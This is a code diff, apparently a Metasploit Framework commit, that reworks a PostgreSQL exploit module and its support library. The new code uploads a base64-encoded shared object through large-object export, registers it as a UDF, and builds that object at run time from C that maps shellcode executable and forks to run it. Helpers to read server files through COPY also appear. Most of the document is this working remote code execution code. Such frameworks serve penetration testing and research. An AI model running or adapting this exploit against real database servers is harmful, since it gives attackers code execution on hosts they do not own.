Compile a .so instead of being version-specific
This makes it possible to use payloads for the appropriate architecture NOTE: need to test windows and make sure I didn't break itbug/bundler_fix
parent
ad1870d819
commit
9c6fdbe9d7
|
@ -98,7 +98,6 @@ module Exploit::Remote::Postgres
|
|||
def postgres_query(sql=nil,doprint=false)
|
||||
ip = datastore['RHOST']
|
||||
port = datastore['RPORT']
|
||||
verbose = datastore['VERBOSE']
|
||||
postgres_login unless self.postgres_conn
|
||||
unless self.postgres_conn
|
||||
return {:conn_error => true}
|
||||
|
@ -155,7 +154,7 @@ module Exploit::Remote::Postgres
|
|||
# postgres_fingerprint attempts to fingerprint a remote Postgresql instance,
|
||||
# inferring version number from the failed authentication messages.
|
||||
def postgres_fingerprint(args={})
|
||||
postgres_logout if self.postgres_conn
|
||||
return postgres_authed_fingerprint if self.postgres_conn
|
||||
db = args[:database] || datastore['DATABASE']
|
||||
username = args[:username] || datastore['USERNAME']
|
||||
password = args[:password] || datastore['PASSWORD']
|
||||
|
@ -167,7 +166,6 @@ module Exploit::Remote::Postgres
|
|||
uri = "tcp://[#{rhost}]:#{rport}"
|
||||
end
|
||||
|
||||
|
||||
verbose = args[:verbose] || datastore['VERBOSE']
|
||||
begin
|
||||
self.postgres_conn = Connection.new(db,username,password,uri)
|
||||
|
@ -175,11 +173,13 @@ module Exploit::Remote::Postgres
|
|||
version_hash = analyze_auth_error e
|
||||
return version_hash
|
||||
end
|
||||
if self.postgres_conn # Just ask for the version.
|
||||
resp = postgres_query("select version()",false)
|
||||
ver = resp[:complete].rows[0][0]
|
||||
return {:auth => ver}
|
||||
end
|
||||
return postgres_authed_fingerprint if self.postgres_conn
|
||||
end
|
||||
|
||||
def postgres_authed_fingerprint
|
||||
resp = postgres_query("select version()",false)
|
||||
ver = resp[:complete].rows[0][0]
|
||||
return {:auth => ver}
|
||||
end
|
||||
|
||||
# Matches up filename, line number, and routine with a version.
|
||||
|
@ -264,7 +264,7 @@ module Exploit::Remote::Postgres
|
|||
read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT);
|
||||
COPY #{temp_table_name} FROM '#{filename}';
|
||||
SELECT * FROM #{temp_table_name}}
|
||||
read_return = postgres_query(read_query,true)
|
||||
return postgres_query(read_query,true)
|
||||
end
|
||||
|
||||
def postgres_has_database_privilege(priv)
|
||||
|
@ -288,17 +288,6 @@ module Exploit::Remote::Postgres
|
|||
return true
|
||||
end
|
||||
|
||||
# Creates the function sys_exec() in the pg_temp schema.
|
||||
def postgres_create_sys_exec_linux(so)
|
||||
q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{so}', 'sys_exec' language C returns null on null input immutable"
|
||||
resp = postgres_query(q);
|
||||
if resp[:sql_error]
|
||||
print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}"
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
# This presumes the pg_temp.sys_exec() udf has been installed, almost
|
||||
# certainly by postgres_create_sys_exec()
|
||||
def postgres_sys_exec(cmd)
|
||||
|
@ -315,8 +304,13 @@ module Exploit::Remote::Postgres
|
|||
|
||||
# Takes a local filename and uploads it into a table as a Base64 encoded string.
|
||||
# Returns an array if successful, false if not.
|
||||
def postgres_upload_binary_file_linux(fname)
|
||||
data = postgres_base64_file(fname)
|
||||
def postgres_upload_binary_file(fname, remote_fname=nil)
|
||||
data = File.read(fname)
|
||||
postgres_upload_binary_data(data, remote_fname)
|
||||
end
|
||||
|
||||
def postgres_upload_binary_data(data, remote_fname=nil)
|
||||
data = postgres_base64_data(data)
|
||||
tbl,fld = postgres_create_stager_table
|
||||
return false unless data && tbl && fld
|
||||
q = "insert into #{tbl}(#{fld}) values('#{data}')"
|
||||
|
@ -325,37 +319,32 @@ module Exploit::Remote::Postgres
|
|||
print_error resp[:sql_error]
|
||||
return false
|
||||
end
|
||||
oid, fout = postgres_write_data_to_disk_linux(tbl,fld)
|
||||
return false unless oid && fout
|
||||
return [tbl,fld,fout,oid]
|
||||
end
|
||||
|
||||
# Takes a local filename and uploads it into a table as a Base64 encoded string.
|
||||
# Returns an array if successful, false if not.
|
||||
def postgres_upload_binary_file(fname)
|
||||
data = postgres_base64_file(fname)
|
||||
tbl,fld = postgres_create_stager_table
|
||||
return false unless data && tbl && fld
|
||||
q = "insert into #{tbl}(#{fld}) values('#{data}')"
|
||||
resp = postgres_query(q)
|
||||
if resp[:sql_error]
|
||||
print_error resp[:sql_error]
|
||||
return false
|
||||
end
|
||||
oid, fout = postgres_write_data_to_disk(tbl,fld)
|
||||
oid, fout = postgres_write_data_to_disk(tbl,fld,remote_fname)
|
||||
return false unless oid && fout
|
||||
return [tbl,fld,fout,oid]
|
||||
end
|
||||
|
||||
# Writes b64 data from a table field, decoded, to disk.
|
||||
def postgres_write_data_to_disk_linux(tbl,fld)
|
||||
def postgres_write_data_to_disk(tbl,fld,remote_fname=nil)
|
||||
oid = rand(60000) + 1000
|
||||
fname = "/tmp/" + Rex::Text::rand_text_alpha(8) + ".so"
|
||||
queries = [
|
||||
"select lo_create(#{oid})",
|
||||
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
|
||||
"select lo_export(#{oid}, '#{fname}')"
|
||||
]
|
||||
remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll"
|
||||
|
||||
ver = postgres_fingerprint
|
||||
case ver[:auth]
|
||||
when /PostgreSQL 8\./
|
||||
queries = [
|
||||
"select lo_create(#{oid})",
|
||||
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
|
||||
"select lo_export(#{oid}, '#{remote_fname}')"
|
||||
]
|
||||
when /PostgreSQL 9\./
|
||||
queries = [
|
||||
"select lo_create(#{oid})",
|
||||
"insert into pg_largeobject select #{oid}, 0, decode((select #{fld} from #{tbl}), 'base64')",
|
||||
"select lo_export(#{oid}, '#{remote_fname}')"
|
||||
]
|
||||
end
|
||||
|
||||
queries.each do |q|
|
||||
resp = postgres_query(q)
|
||||
if resp && resp[:sql_error]
|
||||
|
@ -364,37 +353,16 @@ module Exploit::Remote::Postgres
|
|||
break
|
||||
end
|
||||
end
|
||||
return oid,fname
|
||||
end
|
||||
|
||||
|
||||
# Writes b64 data from a table field, decoded, to disk.
|
||||
def postgres_write_data_to_disk(tbl,fld)
|
||||
oid = rand(60000) + 1000
|
||||
fname = Rex::Text::rand_text_alpha(8) + ".dll"
|
||||
queries = [
|
||||
"select lo_create(#{oid})",
|
||||
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
|
||||
"select lo_export(#{oid}, '#{fname}')"
|
||||
]
|
||||
queries.each do |q|
|
||||
resp = postgres_query(q)
|
||||
if resp && resp[:sql_error]
|
||||
print_error "Could not write the library to disk."
|
||||
print_error resp[:sql_error]
|
||||
break
|
||||
end
|
||||
end
|
||||
return oid,fname
|
||||
return oid,remote_fname
|
||||
end
|
||||
|
||||
# Base64's a file and returns the data.
|
||||
def postgres_base64_file(fname)
|
||||
data = File.open(fname, "rb") {|f| f.read f.stat.size}
|
||||
[data].pack("m*").gsub(/\r?\n/,"")
|
||||
postgres_base64_data(data)
|
||||
end
|
||||
|
||||
def postgres_base64_elf(data)
|
||||
def postgres_base64_data(data)
|
||||
[data].pack("m*").gsub(/\r?\n/,"")
|
||||
end
|
||||
|
||||
|
|
|
@ -10,6 +10,8 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/postgres'
|
||||
load 'lib/msf/core/exploit/postgres.rb'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
@ -34,41 +36,31 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'midnitesnake' # this Metasploit module
|
||||
'midnitesnake', # this Metasploit module
|
||||
'egypt' # .so technique
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt'
|
||||
]
|
||||
[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
|
||||
],
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'linux',
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 0x65535,
|
||||
'Space' => 65535,
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'perl',
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
[
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Linux x86_64', { 'Arch' => ARCH_X86_64 } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jun 05 2007'
|
||||
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptEnum.new('BITS',[true,'The architecture of the operating system X86(32) / or X86_64(64) bit OS','32',['32','64']])
|
||||
],self.class)
|
||||
|
||||
deregister_options('SQL', 'RETURN_ROWSET')
|
||||
end
|
||||
|
||||
|
@ -76,9 +68,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def username; datastore['USERNAME']; end
|
||||
def password; datastore['PASSWORD']; end
|
||||
def database; datastore['DATABASE']; end
|
||||
def rhost; datastore['rhost']; end
|
||||
def rport; datastore['rport']; end
|
||||
def verbose; datastore['VERBOSE']; end
|
||||
def rhost; datastore['RHOST']; end
|
||||
def rport; datastore['RPORT']; end
|
||||
def bits; datastore['BITS'];end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
|
@ -92,49 +84,34 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
when :noauth; print_error "Authentication failed."
|
||||
when :noconn; print_error "Connection failed."
|
||||
end
|
||||
return unless version =~ /8\.[234]/
|
||||
#return unless version =~ /8\.[234]/
|
||||
print_status "Authentication successful and vulnerable version #{version} on Linux confirmed."
|
||||
tbl,fld,so,oid = postgres_upload_binary_file_linux(so_fname(version))
|
||||
tbl,fld,so,oid = postgres_upload_binary_data(
|
||||
payload_so,
|
||||
"/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
|
||||
)
|
||||
|
||||
unless tbl && fld && so && oid
|
||||
print_error "Could not upload the UDF SO"
|
||||
return
|
||||
end
|
||||
|
||||
print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})"
|
||||
ret_sys_exec = postgres_create_sys_exec_linux(so)
|
||||
if ret_sys_exec
|
||||
if @postgres_conn
|
||||
print_status "Success"
|
||||
tbl,fld,myexploit,oid = postgres_upload_binary_file_elf("#!/bin/sh\n" + payload.encode)
|
||||
unless tbl && fld && myexploit && oid
|
||||
print_error "Could not upload the PAYLOAD"
|
||||
return
|
||||
end
|
||||
print_status "Uploaded #{myexploit} as OID #{oid} to table #{tbl}(#{fld})"
|
||||
postgres_sys_exec("chmod 755 #{myexploit}")
|
||||
postgres_sys_exec("#{myexploit}")
|
||||
handler
|
||||
postgres_logout if @postgres_conn
|
||||
else
|
||||
print_error "Lost connection."
|
||||
return
|
||||
end
|
||||
begin
|
||||
postgres_create_sys_exec(so)
|
||||
rescue
|
||||
end
|
||||
postgres_logout if @postgres_conn
|
||||
|
||||
end
|
||||
|
||||
def so_fname(version)
|
||||
print_status "Using #{version}/#{bits}/lib_postgresqludf_sys.so"
|
||||
File.join(Msf::Config.install_root,"data","exploits","postgres",version,bits,"lib_postgresqludf_sys.so")
|
||||
end
|
||||
|
||||
# A shorter version of do_fingerprint from the postgres_version scanner
|
||||
# module, specifically looking for versions that valid targets for this
|
||||
# module.
|
||||
def get_version(user=nil,pass=nil,database=nil)
|
||||
begin
|
||||
msg = "#{rhost}:#{rport} Postgres -"
|
||||
#msg = "#{rhost}:#{rport} Postgres -"
|
||||
password = pass || postgres_password
|
||||
vprint_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'")
|
||||
result = postgres_fingerprint(
|
||||
|
@ -164,4 +141,60 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
def payload_so
|
||||
shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
|
||||
#shellcode = "\\xcc"
|
||||
|
||||
c = %Q^
|
||||
int _exit(int);
|
||||
int printf(const char*, ...);
|
||||
int perror(const char*);
|
||||
void *mmap(int, int, int, int, int, int);
|
||||
void *memcpy(void *, const void *, int);
|
||||
int mprotect(void *, int, int);
|
||||
int fork();
|
||||
|
||||
#define MAP_PRIVATE 2
|
||||
#define MAP_ANONYMOUS 32
|
||||
#define PROT_READ 1
|
||||
#define PROT_WRITE 2
|
||||
#define PROT_EXEC 4
|
||||
|
||||
#define PAGESIZE 0x1000
|
||||
|
||||
char shellcode[] = "#{shellcode}";
|
||||
|
||||
void run_payload(void) __attribute__((constructor));
|
||||
|
||||
void run_payload(void)
|
||||
{
|
||||
int (*fp)();
|
||||
fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
memcpy(fp, shellcode, sizeof(shellcode));
|
||||
if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
|
||||
_exit(1);
|
||||
}
|
||||
if (!fork()) {
|
||||
fp();
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
^
|
||||
|
||||
cpu = case target_arch.first
|
||||
when ARCH_X86; Metasm::Ia32.new
|
||||
when ARCH_X86_64; Metasm::X86_64.new
|
||||
end
|
||||
payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")
|
||||
|
||||
so_file = payload_so.encode_string(:lib)
|
||||
|
||||
File.open("payload.so", "wb") { |fd| fd.write so_file }
|
||||
|
||||
so_file
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue